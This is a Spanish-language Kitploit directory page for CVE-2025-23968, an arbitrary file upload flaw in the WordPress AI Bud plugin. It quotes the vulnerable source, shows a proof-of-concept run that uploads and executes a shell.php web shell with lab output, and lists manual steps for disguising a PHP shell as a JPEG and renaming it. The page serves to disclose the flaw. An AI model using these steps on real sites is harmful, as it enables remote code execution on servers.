Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-23968 — Carga de archivos arbitraria en AI Bud – Generador de contenido IA, Chatbot IA, ChatGPT, Gemini, GPT-4o <= 1.8.4 | Kitploit
Herramientas/GitHubGitHub/d0n601/cve-2025-23968
Generación de PayloadsAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de Penetración
GitHubd0n601/cve-2025-23968

CVE-2025-23968

Carga de archivos arbitraria en AI Bud – Generador de contenido IA, Chatbot IA, ChatGPT, Gemini, GPT-4o <= 1.8.4

Ver Repositorio
11hace 10 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

AI Bud – Generador de contenido AI, Chatbot AI, ChatGPT, Gemini, GPT-4o

El plugin AI Bud expone un endpoint de API REST /wp-json/ai-buddy/v1/wp/attachments que permite subir archivos a la biblioteca de medios de WordPress. La lógica de archivos del endpoint contiene funcionalidad de renombrado que se activa después de la validación del tipo de archivo, y permite al atacante renombrar el archivo subido a cualquier extensión (incluyendo .php), permitiendo a administradores o superiores subir archivos arbitrarios y potencialmente obtener ejecución de código en el servidor.

TL;DR Exploits

Se proporciona un POC cve-2025-23968.py para demostrar que un administrador sube una web shell llamada shell.php.

root@kitploit:~
python cve-2025-23968.py https://lab 1 .hacker admin PASSWORD
Logging into: https://lab 1 .hacker/wp-admin
Extracting nonce values...
Uploading web shell: shell.php
Executing test command: ip addr

<pre> 1 : lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN
group default qlen 1000
    link/loopback 00 : 00 : 00 : 00 : 00 : 00 brd 00 : 00 : 00 : 00 : 00 : 00
    inet 127. 0. 0. 1 / 8 scope host lo
        valid_lft forever preferred_lft forever
    inet 6 :: 1 / 128 scope host
        valid_lft forever preferred_lft forever
2 : eth 0 : <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP
group default qlen 1000
    link/ether 08 : 00 : 27 : 5 b: 34 : 2 f brd ff:ff:ff:ff:ff:ff
altname enp 0 s 3
    inet 10. 0. 2. 15 / 24 metric 100 brd 10. 0. 2. 255 scope global dynamic eth 0
        valid_lft 75700 sec preferred_lft 75700 sec
    inet 6 fd 17 : 625 c:f 037 : 2 :a 00 : 27 ff:fe 5 b: 342 f/ 64 scope global dynamic
mngtmpaddr noprefixroute
        valid_lft 86174 sec preferred_lft 14174 sec
    inet 6 fe 80 ::a 00 : 27 ff:fe 5 b: 342 f/ 64 scope link
        valid_lft forever preferred_lft forever
3 : eth 1 : <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP
group default qlen 1000
    link/ether 08 : 00 : 27 : 39 :ea:eb brd ff:ff:ff:ff:ff:ff
altname enp 0 s 8
    inet 192. 168. 56. 56 / 24 brd 192. 168. 56. 255 scope global eth 1
        valid_lft forever preferred_lft forever
    inet 6 fe 80 ::a 00 : 27 ff:fe 39 :eaeb/ 64 scope link
        valid_lft forever preferred_lft forever
4 : docker 0 : <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue
state DOWN group default
    link/ether 02 : 42 : 6 f: 4 c: 3 e:ed brd ff:ff:ff:ff:ff:ff
    inet 172. 17. 0. 1 / 16 brd 172. 17. 255. 255 scope global docker 0
        valid_lft forever preferred_lft forever
</pre>

Detalles

El plugin registra sus rutas de API REST en /wp-content/plugins/aibuddy-openai-chatgpt/src/Rest.php

Las líneas 250-284 registran la ruta REST para el endpoint /wp/attachments. La función de callback se define como create_attachment:

root@kitploit:~
register_rest_route(
    $namespace,
    '/wp/attachments',
    array(
        'methods' => 'POST',
        'permission_callback' => array( AuthGate::class, 'authorized'
    ),
        'callback' => array( $this, 'create_attachment' ),
    'args' => array(
    'title' => array(
    'required' => true,
    'type' => 'string',
    ),
    'caption' => array(
    'required' => true,
    'type' => 'string',
    ),
    'alt' => array(
    'required' => true,
    'type' => 'string',
    ),
    'description' => array(
    'required' => true,
    'type' => 'string',
    ),
    'url' => array(
    'required' => true,
    'type' => 'string',
    ),
    'filename' => array(
    'required' => false,
    'type' => 'string',
    ),
),

La función create_attachment se define en la Línea 709, y la lógica de renombrado comienza en la Línea 744. Como se ve en el fragmento a continuación, si se especifica el parámetro $filename, se puede usar para renombrar un adjunto existente (sin sanitizar):

root@kitploit:~
// strip possible path from filename
$filename = basename( sanitize_text_field( $request->get_param( 'filename'
) ) );
if (! empty( $filename ) ) {
    $file = get_attached_file( $attachment_id, true );
    $dir = dirname( $file );
    $new_file = $dir. '/'. $filename;
    if ( file_exists( $new_file ) ) {
        $new_file = $dir. '/'. uniqid(). '-'. $filename;
    }
    $this->move_file( $file, $new_file );
    update_attached_file( $attachment_id, $new_file );
}

Reproducción Manual

El ataque de renombrado a .php

  1. El atacante prepara un archivo llamadoshell.jpgcon las siguientes cualidades (ver ejemplo).
    1. El archivo contienemagic bitspara jpg FF D8 FF E0.
    2. El archivo tiene extensión .jpg.
    3. El archivo contiene código php para una web shell.
  2. El atacante alojashell.jpgen un servidor que controla (como Github).
  3. El atacante envía una solicitud POST a /wp-json/ai-buddy/v1/wp/attachments con: 1.url: la URL ashell.jpg 2.filename:shell.php
  4. El atacante accede a /wp-content/uploads/YEAR/MONTH/shell.php y ejecuta código PHP arbitrario.
Descargar herramienta